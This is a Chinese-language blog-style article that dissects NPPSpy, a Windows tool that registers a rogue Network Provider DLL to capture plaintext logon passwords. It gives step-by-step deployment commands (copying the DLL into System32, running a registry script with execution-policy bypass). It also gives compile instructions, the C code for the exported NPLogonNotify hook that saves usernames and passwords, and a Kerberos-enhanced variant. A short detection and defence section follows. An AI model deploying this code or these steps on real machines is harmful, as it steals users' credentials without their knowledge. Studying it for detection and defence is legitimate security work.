对获取 Windows 明文密码的小工具 NPPSpy 的一次深究
字数 1992 2025-08-07 08:22:00
Windows 明文密码获取工具 NPPSpy 深度分析与实现
0x00 前言
本文深入分析由 @0gtweet 发布的 Windows 明文账户密码获取工具 NPPSpy,该工具通过 Windows 认证机制获取用户登录时的明文密码。本文将详细讲解其原理、实现方式及防御措施。
0x01 工具复现
复现步骤
-
从 GitHub 下载 NPPSPy 文件夹:
https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy -
以管理员权限将 NPPSPY.dll 复制到系统目录:
copy .\NPPSPY.dll C:\windows\System32\ -
以管理员权限执行 ConfigureRegistrySettings.ps1 脚本:
powershell.exe -Exec Bypass .\ConfigureRegistrySettings.ps1 -
注销账户或重启系统并重新登录
-
在 C 盘下查看 NPPSpy.txt,其中记录了登录的账号和密码
0x02 编译方法
方法一:使用 cl.exe 命令行编译
- 打开 "x64 Native Tools Command Prompt for VS 2019"
- 执行编译命令:
cl.exe /LD NPPSpy.c
方法二:使用 VS2019 项目模板
-
创建新的动态链接库(DLL)项目
-
处理预编译头选项:
- 删除默认头文件和源文件
- 添加 NPPSpy.c 到源文件
- 在项目属性中设置:配置属性 > C/C++ > 预编译头 > 不使用预编译头
-
或者使用默认预编译头:
- 在 NPLogonNotify 和 NPGetCaps 函数声明前添加
extern "C" - 将代码拆分到 framework.h 和主源文件中
- 在 NPLogonNotify 和 NPGetCaps 函数声明前添加
0x03 原理分析
认证流程概述
- 用户输入密码
- Winlogon.exe 检查注册表
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon的 mpnotify 值 - 启动 mpnotify.exe
- mpnotify.exe 读取注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order\ProviderOrder中的 DLL - 建立 RPC 通道,Winlogon 绑定并传递密码
- mpnotify.exe 转发密码到 DLL
- 恶意 DLL 获取认证信息并存储密码
关键技术点
- Credential Manager:与 Network Provider 类似,用于处理认证信息变更通知
- Multiple Provider Router (MPR):处理 Windows 系统与已安装 Network Provider 间的通信
- Network Provider API:支持特定网络协议的 DLL 需要实现的接口
0x04 实现细节
核心数据结构
// from ntdef.h
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE {
MsV1_0InteractiveLogon = 2,
MsV1_0Lm20Logon,
MsV1_0NetworkLogon,
MsV1_0SubAuthLogon,
MsV1_0WorkstationUnlockLogon = 7,
MsV1_0S4ULogon = 12,
MsV1_0VirtualLogon = 82,
MsV1_0NoElevationLogon = 83,
MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, *PMSV1_0_LOGON_SUBMIT_TYPE;
// from NTSecAPI.h
typedef struct _MSV1_0_INTERACTIVE_LOGON {
MSV1_0_LOGON_SUBMIT_TYPE MessageType;
UNICODE_STRING LogonDomainName;
UNICODE_STRING UserName;
UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, *PMSV1_0_INTERACTIVE_LOGON;
必须实现的 API 函数
NPGetCaps 函数
__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
DWORD nIndex
)
{
switch (nIndex) {
case WNNC_SPEC_VERSION:
return WNNC_SPEC_VERSION51;
case WNNC_NET_TYPE:
return WNNC_CRED_MANAGER; // 硬编码测试出的值
case WNNC_START:
return WNNC_WAIT_FOR_START;
default:
return 0;
}
}
NPLogonNotify 函数
__declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
PLUID lpLogonId,
LPCWSTR lpAuthInfoType,
LPVOID lpAuthInfo,
LPCWSTR lpPrevAuthInfoType,
LPVOID lpPrevAuthInfo,
LPWSTR lpStationName,
LPVOID StationHandle,
LPWSTR* lpLogonScript
)
{
SavePassword(
&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
);
lpLogonScript = NULL;
return WN_SUCCESS;
}
注册表配置
-
ProviderOrder:
- 路径:
HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order - 添加自定义 Provider 名称到 ProviderOrder 列表
- 路径:
-
Provider 配置项:
- 路径:
HKLM\SYSTEM\CurrentControlSet\Services\<ProviderName>\NetworkProvider - 必须包含的键值:
- Name: Provider 名称 (REG_SZ)
- ProviderPath: DLL 路径 (REG_EXPAND_SZ)
- Class: 类型 (DWORD, WN_CREDENTIAL_CLASS=0x00000002)
- 路径:
0x05 增强实现
支持 Kerberos:Interactive 认证类型的增强版:
// 处理 MSV1_0:Interactive 和 Kerberos:Interactive
DWORD APIENTRY NPLogonNotify(...) {
wstring lpAuthInfoTypeStr(lpAuthInfoType);
wstring target = L"MSV1_0:Interactive";
if (target == lpAuthInfoTypeStr) {
SavePassword(
&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName),
&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
);
} else {
SavePassword(
&(((_KERB_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName),
&(((_KERB_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
&(((_KERB_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
);
}
lpLogonScript = NULL;
return WN_SUCCESS;
}
0x06 防御检测
检测方法
-
检查 Network Provider 的 DLL 和签名状态:
Get-NetworkProviders.ps1恶意 DLL 通常没有有效签名。
-
检查注册表:
HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order\ProviderOrderHKLM\SYSTEM\CurrentControlSet\Services\<可疑项>\NetworkProvider
防御措施
- 监控 System32 目录下 DLL 的添加和修改
- 监控 NetworkProvider 相关注册表项的修改
- 限制高权限账户的使用
- 启用 Credential Guard (Windows 10+)
0x07 总结
NPPSpy 利用 Windows 认证机制中的 Credential Manager 接口,通过注册恶意 DLL 来截获用户登录时的明文密码。理解其原理有助于更好地防御此类攻击。增强实现已开源在 GitHub: https://github.com/fengwenhua/CMPSpy